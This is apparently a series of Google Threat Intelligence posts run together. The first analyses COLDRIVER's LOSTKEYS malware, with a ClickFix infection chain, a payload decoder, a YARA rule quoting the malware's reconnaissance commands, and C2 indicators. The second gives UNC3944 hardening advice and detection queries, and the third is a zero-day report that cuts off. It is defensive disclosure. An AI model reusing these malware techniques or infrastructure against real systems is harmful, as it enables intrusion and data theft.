Mandiant Threat Intelligence

Written by: Wesley Shields

Google Threat Intelligence Group (GTIG) has identified a new piece of malware called LOSTKEYS, attributed to the Russian government-backed threat group COLDRIVER (also known as UNC4057, Star Blizzard, and Callisto). LOSTKEYS is capable of stealing files from a hard-coded list of extensions and directories, along with sending system information and running processes to the attacker. Observed in January, March, and April 2025, LOSTKEYS marks a new development in the toolset of COLDRIVER, a group primarily known for credential phishing against high-profile targets like NATO governments, non-governmental organizations (NGOs), and former intelligence and diplomatic officers. GTIG has been tracking COLDRIVER for many years, including their SPICA malware in 2024.

COLDRIVER typically targets high-profile individuals at their personal email addresses or at NGO addresses. They are known for stealing credentials and after gaining access to a target’s account they exfiltrate emails and steal contact lists from the compromised account. In select cases, COLDRIVER also delivers malware to target devices and may attempt to access files on the system.

Recent targets in COLDRIVER’s campaigns have included current and former advisors to Western governments and militaries, as well as journalists, think tanks, and NGOs. The group has also continued targeting individuals connected to Ukraine. We believe the primary goal of COLDRIVER’s operations is intelligence collection in support of Russia’s strategic interests. In a small number of cases, the group has been linked to hack-and-leak campaigns targeting officials in the UK and an NGO.

To safeguard at-risk users, we use our research on serious threat actors like COLDRIVER to improve the safety and security of Google’s products. We encourage potential targets to enroll in Google's Advanced Protection Program, enable Enhanced Safe Browsing for Chrome, and ensure that all devices are updated.

Stage 1 — It Starts With A Fake CAPTCHA

LOSTKEYS is delivered at the end of a multi-step infection chain that starts with a lure website with a fake CAPTCHA on it. Once the CAPTCHA has been “verified,” PowerShell is copied to the users clipboard and the page prompts the user to execute the PowerShell via the “run” prompt in Windows:

The first stage PowerShell that is pasted in will fetch and execute the second stage. In multiple observed cases, the second stage was retrieved from 165.227.148[.]68.

COLDRIVER is not the only threat actor to deliver malware by socially engineering their targets to copy, paste, and then execute PowerShell commands—a technique commonly called “ClickFix.” We have observed multiple APT and financially motivated actors use this technique, which has also been widely reported publicly. Users should exercise caution when encountering a site that prompts them to exit the browser and run commands on their device, and enterprise policies should implement least privilege and disallow users from executing scripts by default.

Stage 2 — Device Evasion

The second stage calculates the MD5 hash of the display resolution of the device and if the MD5 is one of three specific values it will stop execution, otherwise it will retrieve the third stage. This step is likely done to evade execution in VMs. Each observed instance of this chain uses different, unique identifiers that must be present in the request to retrieve the next stage. In all observed instances the third stage is retrieved from the same host as the previous stages.

Stage 3 — Retrieval of the Final Payload

The third stage is a Base64-encoded blob, which decodes to more PowerShell. This stage retrieves and decodes the final payload. To do this it pulls down two more files, from the same host as the others, and again using different unique identifiers per infection chain.

The first is a Visual Basic Script (VBS) file, which we call the “decoder” that is responsible for decoding the second one. The decoding process uses two keys, which are unique per infection chain. The decoder has one of the unique keys and the second key is stored in stage 3. The keys are used in a substitution cipher on the encoded blob, and are unique to each infection chain. A Python script to decode the final payload is:

# Args: encoded_file Ah90pE3b 4z7Klx1V import base64 import sys if len(sys.argv) != 4: print("Usage: decode.py file key1 key2") sys.exit(1) if len(sys.argv[2]) != len(sys.argv[3]): print("Keys must be the same length") sys.exit(1) with open(sys.argv[1], 'r') as f: data = f.read() x = sys.argv[2] y = sys.argv[3] for i in range(len(x)): data = data.replace(x[i], '!').replace(y[i], x[i]).replace('!', y[i]) with open(sys.argv[1] + '.out', 'wb') as f: f.write(base64.b64decode(data)) The Final Payload (LOSTKEYS)

The end result of this is a VBS that we call LOSTKEYS. It is a piece of malware that is capable of stealing files from a hard-coded list of extensions and directories, along with sending system information and running processes to the attacker. The typical behavior of COLDRIVER is to steal credentials and then use them to steal emails and contacts from the target, but as we have previously documented they will also deploy malware called SPICA to select targets if they want to access documents on the target system. LOSTKEYS is designed to achieve a similar goal and is only deployed in highly selective cases.

A Link To December 2023

As part of the investigation into this activity, we discovered two additional samples, hashes of which are available in the Indicators of Compromise section, dating back as early as December 2023. In each case, the samples end up executing LOSTKEYS but are distinctly different from the execution chain mentioned here in that they are Portable Executable (PE) files pretending to be related to the software package Maltego.

It is currently unclear if these samples from December 2023 are related to COLDRIVER, or if the malware was repurposed from a different developer or operation into the activity seen starting in January 2025.

Protecting the Community

As part of our efforts to combat threat actors, we use the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified malicious websites, domains and files are added to Safe Browsing to protect users from further exploitation. We also send targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity and encouraging potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.

We are committed to sharing our findings with the security community to raise awareness and with companies and individuals that might have been targeted by these activities. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Indicators of compromise (IOCs) and YARA rules are included in this post, and are also available as a GTI collection and rule pack. 

YARA Rules rule LOSTKEYS__Strings { meta: author = "Google Threat Intelligence" description = "wscript that steals documents and becaons system information out to a hardcoded address" hash = "28a0596b9c62b7b7aca9cac2a07b067109f27d327581a60e8cb4fab92f8f4fa9" strings: $rep0 = "my_str = replace(my_str,a1,\"!\" )" $rep1 = "my_str = replace(my_str,b1 ,a1 )" $rep2 = "my_str = replace(my_str,\"!\" ,b1 )" $mid0 = "a1 = Mid(ch_a,ina+1,1)" $mid1 = "b1 = Mid(ch_b,ina+1,1)" $req0 = "ReqStr = base64encode( z & \";\" & ws.ExpandEnvironmentStrings(\"%COMPUTERNAME%\") & \";\" & ws.ExpandEnvironmentStrings(\"%USERNAME%\") & \";\" & fso.GetDrive(\"C:\\\").SerialNumber)" $req1 = "ReqStr = Chain(ReqStr,\"=+/\",\",-_\")" $cap0 = "CapIN \"systeminfo > \"\"\" & TmpF & \"\"\"\", 1, True" $cap1 = "CapIN \"ipconfig /all >> \"\"\" & TmpF & \"\"\"\", 1, True" $cap2 = "CapIN \"net view >> \"\"\" & TmpF & \"\"\"\", 1, True" $cap3 = "CapIN \"tasklist >> \"\"\" & TmpF & \"\"\"\", 1, True" condition: all of ($rep*) or all of ($mid*) or all of ($req*) or all of ($cap*) } Indicators of Compromise

IOC

Notes

13f7599c94b9d4b028ce02397717a128
2a46f07b9d3e2f8f2b3213fa8884b029

Stage 1 - Fake CAPTCHA page, loads PowerShell to clipboard

4c7accba35edd646584bb5a40ab78f96
3de45e5fc816e62022cd7ab1b01dae9c

Stage 2: Device evasion and stage 3 loader

6b85d707c23d68f9518e757cc97adb20
adc8accb33d0d68faf1d8d56d7840816

Stage 3: Retrieve and decode final payload, contains key “Ah90pE3b”

3233668d2e4a80b17e6357177b53539d
f659e55e06ba49777d0d5171f27565dd

Decoder script, contains key “4z7Klx1V”

6bc411d562456079a8f1e38f3473c33a
de73b08c7518861699e9863540b64f9a

Final payload, encoded

28a0596b9c62b7b7aca9cac2a07b0671
09f27d327581a60e8cb4fab92f8f4fa9

Final payload, decoded

165.227.148[.]68

C2

cloudmediaportal[.]com

C2

b55cdce773bc77ee46b503dbd9430828
cc0f518b94289fbfa70b5fbb02ab1847

Binary that executes LOSTKEYS from December 2023

02ce477a07681ee1671c7164c9cc847b
01c2e1cd50e709f7e861eaab89c69b6f

Binary that executes LOSTKEYS from December 2023

8af28bb7e8e2f663d4b797bf3ddbee7f
0a33f637a33df9b31fbb4c1ce71b2fee

LOSTKEYS from December 2023

njala[.]dev

C2 from December 2023

80.66.88[.]67

C2 from December 2023

Background

UNC3944, which overlaps with public reporting on Scattered Spider, is a financially-motivated threat actor characterized by its persistent use of social engineering and brazen communications with victims. In early operations, UNC3944 largely targeted telecommunications-related organizations to support SIM swap operations. However, after shifting to ransomware and data theft extortion in early 2023, they impacted organizations in a broader range of industries. Since then, we have regularly observed UNC3944 conduct waves of targeting against a specific sector, such as financial services organizations in late 2023 and food services in May 2024. Notably, UNC3944 has also previously targeted prominent brands, possibly in an attempt to gain prestige and increased attention by news media.

Google Threat Intelligence Group (GTIG) observed a decline in UNC3944 activity after 2024 law enforcement actions against individuals allegedly associated with the group. Threat actors will often temporarily halt or significantly curtail operations after an arrest, possibly to reduce law enforcement attention, rebuild capabilities and/or partnerships, or shift to new tooling to evade detection. UNC3944’s existing ties to a broader community of threat actors could potentially help them recover from law enforcement actions more quickly.

Recent public reporting has suggested that threat actors used tactics consistent with Scattered Spider to target a UK retail organization and deploy DragonForce ransomware. Subsequent reporting by BBC News indicates that actors associated with DragonForce claimed responsibility for attempted attacks at multiple UK retailers. Notably, the operators of DragonForce ransomware recently claimed control of RansomHub, a ransomware-as-a-service (RaaS) that seemingly ceased operations in March of this year. UNC3944 was a RansomHub affiliate in 2024, after the ALPHV (aka Blackcat) RaaS shut down. While GTIG has not independently confirmed the involvement of UNC3944 or the DragonForce RaaS, over the past few years, retail organizations have been increasingly posted on tracked data leak sites (DLS) used by extortion actors to pressure victims and/or leak stolen victim data. Retail organizations accounted for 11 percent of DLS victims in 2025 thus far, up from about 8.5 percent in 2024 and 6 percent in 2022 and 2023. It is plausible that threat actors including UNC3944 view retail organizations as attractive targets, given that they typically possess large quantities of personally identifiable information (PII) and financial data. Further, these companies may be more likely to pay a ransom demand if a ransomware attack impacts their ability to process financial transactions.

UNC3944 global targeting map

We have observed the following patterns in UNC3944 victimology:

• Targeted Sectors: The group targets a wide range of sectors, with a notable focus on Technology, Telecommunications, Financial Services, Business Process Outsourcing (BPO), Gaming, Hospitality, Retail, and Media & Entertainment organizations.

• Geographical Focus: Targets are primarily located in English-speaking countries, including the United States, Canada, the United Kingdom, and Australia. More recent campaigns have also included targets in Singapore and India.

• Victim Organization Size: UNC3944 often targets large enterprise organizations, likely due to the potential for higher impact and ransom demands. They specifically target organizations with large help desk and outsourced IT functions which are susceptible to their social engineering tactics.

A high-level overview of UNC3944 tactics, techniques and procedures (TTPs) are noted in the following figure.

UNC3944 attack lifecycle

Proactive Hardening Recommendations

The following provides prioritized recommendations to protect against tactics utilized by UNC3944, organized within the pillars of:

• Identity

• Endpoints

• Applications and Resources

• Network Infrastructure

• Monitoring / Detections

While implementing the full suite of the recommendations in this guide will generally have some impact on IT and normal operations, Mandiant’s extensive experience supporting organizations to defend against, contain, and eradicate UNC3944 has shown that an effective starting point involves prioritizing specific areas. Organizations should begin by focusing on recommendations that: 

• Achieve complete visibility across all infrastructure, identity, and critical management services.

• Ensure the segregation of identities throughout the infrastructure.

• Enhance strong authentication criteria.

• Enforce rigorous identity controls for password resets and multi-factor authentication (MFA) registration.

• Educate and communicate the importance of remaining vigilant against modern-day social engineering attacks / campaigns (see Social Engineering Awareness section later in this post). UNC3944 campaigns not only target end-users, but also IT and administrative personnel within enterprise environments.

These serve as critical foundational measures upon which other recommendations in this guide can be built.

Google SecOps customers benefit from existing protections that actively detect and alert on UNC3944 activity.

Identity Positive Identify Verification

UNC3944 has proven to be very prolific in using social engineering techniques to impersonate users when contacting the help desk. Therefore, further securing the “positive identity” process is critical. 

• Train help desk personnel to positively identify employees before modifying / providing security information (including initial enrollment). At a minimum, this process should be required for any privileged accounts and should include methods such as:

• On-Camera / In-Person verification

• ID Verification

• Challenge / Response questions

• If a suspected compromise is imminent or has occurred, temporarily disable or enhance validation for self-service password reset methods. Any account management activities should require a positive identity verification as the first step. Additionally, employees should be required to authenticate using strong authentication PRIOR to changing authentication methods (e.g., adding a new MFA device). Additionally, implement use of:

• Trusted Locations

• Notification of authentication / security changes 

• Out-of-band verification for high-risk changes. For example, require a call-back to a registered number or confirmation via a known corporate email before proceeding with any sensitive request.

• Avoid reliance on publicly available personal data for verification (e.g., DOB, last 4 SSN) as UNC3944 often possesses this information. Use internal-only knowledge or real-time presence verification when possible.

• Temporarily disable self-service MFA resets during elevated threat periods, and route all such changes through manual help desk workflows with enhanced scrutiny.

Strong Authentication

To prevent against social engineering or other methods used to bypass authentication controls:

• Remove SMS, phone call, and/or email as authentication controls.

• Utilize an authenticator app that requires phishing resistant MFA (e.g., number matching and/or geo-verification).

• If possible, transition to passwordless authentication.

• Leverage FIDO2 security keys for authenticating identities that are assigned privileged roles.

• Ensure administrative users cannot register or use legacy MFA methods, even if those are permitted for lower-tier users. 

• Enforce multi-context criteria to enrich the authentication transaction. Examples include not only validating the identity, but also specific device and location attributes as part of the authentication transaction.

• For organizations that leverage Google Workspace, these concepts can be enforced by using context-aware access policies.

• For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using a Conditional Access Policy.

MFA Registration and Modification

To prevent compromised credentials from being leveraged for modifying and registering an attacker-controlled MFA method:

• Review authentication methods available for user registration and disallow any unnecessary or duplicative methods. 

• Restrict MFA registration and modification actions to only be permissible from trusted IP locations and based upon device compliance. For organizations that leverage Microsoft Entra ID, this can be accomplished using a Conditional Access Policy.

• If a suspected compromise has occurred, MFA re-registration may be required. This action should only be permissible from corporate locations and/or trusted IP locations.

• Review specific IP locations that can bypass the requirement for MFA. If using Microsoft Entra ID, these can be in Named Locations and the legacy Service Settings.

• Investigate and alert when the same MFA method or phone number is registered across multiple user accounts, which may indicate attacker-controlled device registration.

Administrative Roles

To prevent against privilege escalation and further access to an environment:

• For privileged access, decouple the organization's identity store (e.g., Active Directory) from infrastructure platforms, services, and cloud admin consoles. Organizations should create local administrator accounts (e.g., local VMware VCenter Admin account). Local administrator accounts should adhere to the following principles: 

• Created with long and complex passwords 

• Passwords should not be temporarily stored within the organization’s password management or vault solution 

• Enforcement of Multi-Factor Authentication (MFA)

• Restrict administrative portals to only be accessible from trusted locations and with privileged identities.

• Leverage just-in-time controls for leveraging (“checking out”) credentials associated with privileged actions. 

• Enforce access restrictions and boundaries that follow the principle of least-privilege for accessing and administering cloud resources.

• For organizations that leverage Google Cloud, these concepts can be enforced by using IAM deny or principle access boundary policies. 

• For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using Azure RBAC and Entra ID RBAC controls. 

• Enforce that privileged accounts are hardened to prevent exposure or usage on non-Tier 0 or non-PAW endpoints. 

Playbooks

Modern-day authentication is predicated on more than just a singular password. Therefore, organizations should ensure that processes and associated playbooks include steps to:

• Revoke tokens and access keys.

• Review MFA device registrations.

• Review changes to authentication requirements.

• Review newly enrolled devices and endpoints.

Endpoints Device Compliance and Validation

An authentication transaction should not only include strong requirements for identity verification, but also require that the device be authenticated and validated. Organizations should consider the ability to:

• Enforce posture checks for devices remotely connecting to an environment (e.g., via a VPN). Example posture checks for devices include: 

• Validating the installation of a required host-based certificate on each endpoint.

• Verifying that the endpoint operates on an approved Operating System (OS) and meets version requirements.

• Confirming the organization's Endpoint Detection and Response (EDR) agent is installed and actively running. Enforce EDR installation and monitoring for all managed endpoint devices.

Rogue / Unauthorized Endpoints

To prevent against threat actors leveraging rogue endpoints to access an environment, organizations should:

• Monitor for rogue bastion hosts or virtual machines that are either newly created or recently joined to a managed domain.

• Harden policies to restrict the ability to join devices to Entra or on-premises Active Directory.

• Review authentication logs for devices that contain default Windows host names.

Lateral Movement Hardening

To prevent against lateral movement using compromised credentials, organizations should:

• Limit the ability for local accounts to be used for remote (network-based) authentication.

• Disable or restrict local administrative and/or hidden shares from being remotely accessible.

• Enforce local firewall rules to block inbound SMB, RDP, WinRM, PowerShell, & WMI.

GPOs: User Rights Assignment Lockdown (Active Directory)

For domain-based privileged and service accounts, where possible, organizations should restrict the ability for accounts to be leveraged for remote authentication to endpoints. This can be accomplished using a Group Policy Object (GPO) configuration for the following user rights assignments:

• Deny log on locally 

• Deny log on through Remote Desktop Services

• Deny access to this computer from network 

• Deny log on as a batch

• Deny log on as a service

Applications and Resources Virtual Private Network (VPN) Access

Threat actors may attempt to change or disable VPN agents to limit network visibility by security teams. Therefore, organizations should:

• Disable the ability for end users to modify VPN agent configurations.

• Ensure appropriate logging when configuration changes are made to VPN agents.

• For managed devices, consider an “Always-On” VPN configuration to ensure continuous protection.

Privileged Access Management (PAM) Systems

To prevent against threat actors attempting to gain access to privileged access management (PAM) systems, organizations should:

• Isolate and enforce network and identity access restrictions for enterprise password managers or privileged access management (PAM) systems. This should also include leveraging dedicated and segmented servers / appliances for PAM systems, which are isolated from enterprise infrastructure and virtualization platforms.

• Reduce the scope of accounts that have access to PAM systems, in addition to requiring strong authentication (MFA).

• Enforce role-based access controls (RBAC) within PAM systems, restricting the scope of accounts that can be accessed (based upon an assigned role).

• Follow the principle of just-in-time (JIT) access for checking-out credentials stored in PAM systems. 

Virtualization Infrastructure

To prevent against threat actors attempting to gain access to virtualization infrastructure, organizations should:

• Isolate and restrict access to ESXi hosts / vCenter Server Appliances.

• Ensure that backups of virtual machines are isolated, secured and immutable if possible.

• Unbind the authentication for administrative access to virtualization platforms from the centralized identity provider (IdP). This includes individual ESXi hosts and vCenter Servers.

• Proactively rotate local root / administrative passwords for privileged identities associated with virtualization platforms.

• If possible use stronger MFA and bind to local SSO for all administrative access to virtualization infrastructure.

• Enforce randomized passwords for local root / administrative identities correlating to each virtualized host that is part of an aggregate pool.

• Disable / restrict SSH (shell) access to virtualization platforms.

• Enable lockdown mode on all ESXi hosts.

• Enhance monitoring to identify potential malicious / suspicious authentication attempts and activities associated with virtualization platforms.

Backup Infrastructure

To prevent against threat actors attempting to gain access to backup infrastructure and data, organizations should:

• Leverage unique and separate (non-identity provider integrated) credentials for accessing and managing backup infrastructure, in addition to the enforcement of MFA for the accounts.

• Ensure that backup servers are isolated from the production environment and reside within a dedicated network. To further protect backups, they should be within an immutable backup solution.

• Implement access controls that restrict inbound traffic and protocols for accessing administrative interfaces associated with backup infrastructure. 

• Periodically validate the protection and integrity of backups by simulating adversarial behaviors (red teaming).

Endpoint Security Management 

To prevent against threat actors weaponizing endpoint security and management technologies such as EDR and patch management tools, organizations should: 

• Segment administrative access to endpoint security tooling platforms.

• Reduce the scope of identities that have the ability to create, edit, or delete Group Policy Objects (GPOs) in on-premises Active Directory.

• If Intune is leveraged, enforce Intune access policies that require multi-administrator approval (MMA) to approve and enforce changes. 

• Monitor and review unauthorized access to EDR and patch management technologies. 

• Monitor script and application deployment on endpoints and systems using EDR and patch management technologies.

• Review and monitor “allow-listed” executables, processes, paths, and applications.

• Inventory installed applications on endpoints and review for potential unauthorized installations of remote access (RATs) and reconnaissance tools.

Cloud Resources

To prevent against threat actors leveraging access to cloud infrastructure for additional persistence and access, organizations should:

• Monitor and review cloud resource configurations to identify and investigate newly created resources, exposed services, or other unauthorized configurations. 

• Monitor cloud infrastructure for newly created or modified network security group (NSG) rules, firewall rules, or publicly exposed resources that can be remotely accessed.

• Monitor for the creation of programmatic keys and credentials (e.g., access keys).

Network Infrastructure Access Restrictions

To proactively identify exposed applications, ingress pathways, and to reduce the risk of unauthorized access, organizations should:

• Leverage vulnerability scanning to perform an external unauthenticated scan to identify publicly exposed domains, IPs, and CIDR IP ranges.

• Enforce strong authentication (e.g., phishing-resistant MFA) for accessing any applications and services that are publicly accessible. 

• For sensitive data and applications, enforce connectivity to cloud environments / SaaS applications to only be permissible from specific (trusted) IP ranges.

• Block TOR exit node and VPS IP ranges.

Network Segmentation

The terminology of “Trusted Service Infrastructure” (TSI) is typically associated with management interfaces for platforms and technologies that provide core services for an organization. Examples include:

• Asset and Patch Management Tools

• Network Management Tools and Devices

• Virtualization Platforms

• Backup Technologies

• Security Tooling

• Privileged Access Management Systems

To minimize the direct access and exposure of the management plane for TSI, organizations should:

• Restrict access to TSI to only originate from internal / hardened network segments or PAWs.

• Create detections focused on monitoring network traffic patterns for directly accessing TSI, and alert on anomalies or suspicious traffic.

Egress Restrictions

To restrict the ability for command-and-control and reduce the capabilities for mass data exfiltration, organizations should:

• Restrict egress communications from all servers. Organizations should prioritize enforcing egress restrictions from servers associated with TSI, Active Directory domain controllers, and crown jewel application and data servers.

• Block outbound traffic to malicious domain names, IP addresses, and domain names/addresses associated with remote access tools (RATs).

Monitoring / Detections Reconnaissance

Upon initial compromise, UNC3944 is known to search for documentation on topics such as: user provisioning, MFA and/or device registration, network diagrams, and shared credentials in documents or spreadsheets.

UNC3944 will also use network reconnaissance tools like ADRecon, ADExplorer, and SharpHound. Therefore, organizations should:

• Ensure any sites or portals that include these documents have access restrictions to only required accounts.

• Sweep for documents and spreadsheets that may contain shared credentials and remove them.

• Implement alerting rules on endpoints with EDR agents for possible execution of known reconnaissance tools.

• If utilizing an Identity monitoring solution, ensure detection rules are enabled and alerts are created for any reconnaissance and discovery detections.

• Implement an automated mechanism to continuously monitor domain registrations. Identify domains that mimic the organization's naming conventions, for instance: [YourOrganizationName]-helpdesk.com or [YourOrganizationName]-SSO.com.

MFA Registration

To further harden the MFA registration process, organizations should:

• Review logs to specifically identify events related to the registration or addition of new MFA devices or methods to include actions similar to:

• MFA device registered

• Authenticator app added

• Phone number added for MFA

• The same MFA device / method / phone number being associated with multiple users

• Verify the legitimacy of new registrations against expected user behavior and any onboarding or device enrollment records.

• Contact users if new registrations are detected to confirm if the activity is intentional.

Collaboration and Communication Platforms

To prevent against social engineering and/or unauthorized access or modifications to communication platforms, organizations should:

• Review organizational policies around communication tools such as Microsoft Teams. 

• Allow only trusted external domains for expected vendors and partners.

• If external domains cannot be blocked, create a baseline of trusted domains and alert on new domains that attempt to contact employees.

• Provide awareness training to employees and staff to directly contact the organization’s helpdesk if they receive suspicious calls or messages.

The following is a Microsoft Defender advanced hunting query example. The query is written to detect when an external account (attempting to impersonate the help desk) attempts to contact the organization’s users.

Note: The DisplayName field can be modified to include other relevant fields specific to the organization (such as “IT Support” or “ServiceDesk”).

CloudAppEvents | where Application == "Microsoft Teams" | where ActionType == "ChatCreated" | extend HasForeignTenantUsers = parse_json(RawEventData)["ParticipantInfo"]["HasForeignTenantUsers"] | extend DisplayName = parse_json(RawEventData)["Members"][0]["DisplayName"] | where IsExternalUser == 1 or HasForeignTenantUsers == 'true' | where DisplayName contains "help" or AccountDisplayName contains "help" or AccountId contains "help"

The following is a Google SecOps search query example.

Note: The DisplayName field can be modified to include other relevant fields specific to the organization (such as “IT Support” or “ServiceDesk”).

metadata.vendor_name = "Microsoft" metadata.product_name = "Office 365" metadata.product_event_type = "ChatCreated" security_result.detection_fields["ParticipantInfo_HasForeignTenantUsers"] = "true" ( principal.user.userid = /help/ OR principal.user.email_addresses = /help/ OR about.user.user_display_name = /help/ ) Identity Session Risk & Visibility

Detections should include:

• Authentication from infrequent locations - including from proxy and VPN service providers.

• Attempts made to change authentication methods or criteria.

• Monitoring and hunting for authentication anomalies based upon social engineering tactics.

Bypassing Multi-Factor Authentication

UNC3944 has been known to modify requirements for the use of Multi-factor Authentication. Therefore, organizations should:

• For Entra ID, monitor for modifications to any Trusted Named Locations that may be used to bypass the requirement for MFA.

• For Entra ID, monitor for changes to Conditional Access Policies that enforce MFA, specifically focusing on exclusions of compromised user accounts and/or devices for an associated policy.

• Ensure the SOC has visibility into token replay or suspicious device logins, aligning workflows that can trigger step-up (re)authentication when suspicious activity is detected.

Abuse of Domain Federation

For organizations that are using Microsoft Entra ID, monitor for possible abuse of Entra ID Identity Federation:

• Check domain names that are registered in the Entra ID tenant, paying particular attention to domains that are marked as Federated.

• Review the Federation configuration of these domains to ensure that they are correct.

• Monitor for creation of any new domains within the tenant and for changing the authentication method to be Federated.

• Abuse of Domain Federation requires the account accomplishing the changes to have administrative permissions in Entra ID. Hardening of all administrative accounts, portals, and programmatic access is imperative.

Social Engineering Awareness

UNC3944 is extremely proficient at using multiple forms of social engineering to convince users into doing something that will allow them to gain access. Organizations should educate users to be aware of and notify internal security teams of attempts that utilize the following tactics:

• SMS phishing messages that claim to be from IT requesting users to download and install software on their machine. These may include claims that the user’s machine is out-of-compliance or is failing to report to internal management systems.

• SMS messages or emails with links to sites that reference domain names that appear legitimate and reference SSO (single sign-on) and a variation of the company name. Messages may include text informing the user that they need to reset their password and/or MFA.

• Phone calls to users from IT with requests to reset a password and/or MFA - or requesting that the user provide a validated one time passcode (OTP) from their device. 

• SMS messages or emails with requests to be granted access to a particular system, particularly if the organization already has an established method for provisioning access.

• MFA fatigue attacks, where attackers may repeatedly send MFA push notifications to a victim’s device until the user unintentionally or out of frustration accepts one. Organizations should train users to reject unexpected MFA prompts and report such activity immediately.

• Impersonation via collaboration tools - UNC3944 has used platforms like Microsoft Teams to pose as internal IT support or service desk personnel. Organizations should train users to verify unusual chat messages and avoid sharing credentials or MFA codes over internal collaboration tools like Microsoft Teams. Limiting external domains and monitoring for impersonation attempts (e.g., usernames containing ‘helpdesk’ or ‘support’) is advised.

• In rare cases, attackers have used doxxing threats or aggressive language to scare users into compliance. Ensure employees understand this tactic and know that the organization will support them if they report these incidents.

Additional References

• Ransomware Protection and Containment Strategies: Practical Guidance for Hardening and Protecting Infrastructure, Identities and Endpoints
• UNC3944 Targets SaaS Applications
• Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety

Written by: Casey Charrier, James Sadowski, Clement Lecigne, Vlad Stolyarov

Executive Summary

Google Threat Intelligence Group (GTIG) tracked 75 zero-day vulnerabilities exploited in the wild in 2024, a decrease from the number we identified in 2023 (98 vulnerabilities), but still an increase from 2022 (63 vulnerabilities). We divided the reviewed vulnerabilities into two main categories: end-user platforms and products (e.g., mobile devices, operating systems, and browsers) and enterprise-focused technologies, such as security software and appliances. 

Vendors continue to drive improvements that make some zero-day exploitation harder, demonstrated by both dwindling numbers across multiple categories and reduced observed attacks against previously popular targets. At the same time, commercial surveillance vendors (CSVs) appear to be increasing their operational security practices, potentially leading to decreased attribution and detection.

We see zero-day exploitation targeting a greater number and wider variety of enterprise-specific technologies, although these technologies still remain a smaller proportion of overall exploitation when compared to end-user technologies. While the historic focus on the exploitation of popular end-user technologies and their users continues, the shift toward increased targeting of enterprise-focused products will require a wider and more diverse set of vendors to increase proactive security measures in order to reduce future zero-day exploitation attempts.

For a deeper look at the trends discussed in this report, along with recommendations for defenders, register for our upcoming zero-day webinar.

Scope 

This report describes what Google Threat Intelligence Group (GTIG) knows about zero-day exploitation in 2024. We discuss how targeted vendors and exploited products drive trends that reflect threat actor goals and shifting exploitation approaches, and then closely examine several examples of zero-day exploitation from 2024 that demonstrate how actors use both historic and novel techniques to exploit vulnerabilities in targeted products. The following content leverages original research conducted by GTIG, combined with breach investigation findings and reporting from reliable open sources, though we cannot independently confirm the reports of every source. Research in this space is dynamic and the numbers may adjust due to the ongoing discovery of past incidents through digital forensic investigations. The numbers presented here reflect our best understanding of current data.

GTIG defines a zero-day as a vulnerability that was maliciously exploited in the wild before a patch was made publicly available. GTIG acknowledges that the trends observed and discussed in this report are based on detected and disclosed zero-days. Our analysis represents exploitation tracked by GTIG but may not reflect all zero-day exploitation.

aside_block

<ListValue: [StructValue([('title', 'A 2024 Zero-Day Exploitation Analysis'), ('body', <wagtail.rich_text.RichText object at 0x3e30293bc220>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/2024-zero-day-exploitation-analysis-en.pdf'), ('image', None)])]>

Key Takeaways

• Zero-day exploitation continues to grow gradually. The 75 zero-day vulnerabilities exploited in 2024 follow a pattern that has emerged over the past four years. While individual year counts have fluctuated, the average trendline indicates that the rate of zero-day exploitation continues to grow at a slow but steady pace.

• Enterprise-focused technology targeting continues to expand. GTIG continued to observe an increase in adversary exploitation of enterprise-specific technologies throughout 2024. In 2023, 37% of zero-day vulnerabilities targeted enterprise products. This jumped to 44% in 2024, primarily fueled by the increased exploitation of security and networking software and appliances.

• Attackers are increasing their focus on security and networking products. Zero-day vulnerabilities in security software and appliances were a high-value target in 2024. We identified 20 security and networking vulnerabilities, which was over 60% of all zero-day exploitation of enterprise technologies. Exploitation of these products, compared to end-user technologies, can more effectively and efficiently lead to extensive system and network compromises, and we anticipate adversaries will continue to increase their focus on these technologies.

• Vendors are changing the game. Vendor investments in exploit mitigations are having a clear impact on where threat actors are able to find success. We are seeing notable decreases in zero-day exploitation of some historically popular targets such as browsers and mobile operating systems.

• Actors conducting cyber espionage still lead attributed zero-day exploitation. Between government-backed groups and customers of commercial surveillance vendors (CSVs), actors conducting cyber espionage operations accounted for over 50% of the vulnerabilities we could attribute in 2024. People's Republic of China (PRC)-backed groups exploited five zero-days, and customers of CSVs exploited eight, continuing their collective leading role in zero-day exploitation. For the first year ever, we also attributed the exploitation of the same volume of 2024 zero-days (five) to North Korean actors mixing espionage and financially motivated operations as we did to PRC-backed groups.

Looking at the Numbers 

GTIG tracked 75 exploited-in-the-wild zero-day vulnerabilities that were disclosed in 2024. This number appears to be consistent with a consolidating upward trend that we have observed over the last four years. After an initial spike in 2021, yearly counts have fluctuated but not returned to the lower numbers we saw in 2021 and prior.

While there are multiple factors involved in discovery of zero-day exploitation, we note that continued improvement and ubiquity of detection capabilities along with more frequent public disclosures have both resulted in larger numbers of detected zero-day exploitation compared to what was observed prior to 2021.

Figure 1: Zero-days by year

Higher than any previous year, 44% (33 vulnerabilities) of tracked 2024 zero-days affected enterprise technologies, continuing the growth and trends we observed last year. The remaining 42 zero-day vulnerabilities targeted end-user technologies.

Enterprise Exploitation Expands in 2024 as Browser and Mobile Exploitation Drops End-User Platforms and Products

In 2024, 56% (42) of the tracked zero-days targeted end-user platforms and products, which we define as devices and software that individuals use in their day-to-day life, although we acknowledge that enterprises also often use these. All of the vulnerabilities in this category were used to exploit browsers, mobile devices, and desktop operating systems.

• Zero-day exploitation of browsers and mobile devices fell drastically, decreasing by about a third for browsers and by about half for mobile devices compared to what we observed last year (17 to 11 for browsers, and 17 to 9 for mobile).

• Chrome was the primary focus of browser zero-day exploitation in 2024, likely reflecting the browser's popularity among billions of users.

• Exploit chains made up of multiple zero-day vulnerabilities continue to be almost exclusively (~90%) used to target mobile devices.

• Third-party components continue to be exploited in Android devices, a trend we discussed in last year’s analysis. In 2023, five of the seven zero-days exploited in Android devices were flaws in third-party components. In 2024, three of the seven zero-days exploited in Android were found in third-party components. Third-party components are likely perceived as lucrative targets for exploit development since they can enable attackers to compromise many different makes and models of devices across the Android ecosystem.

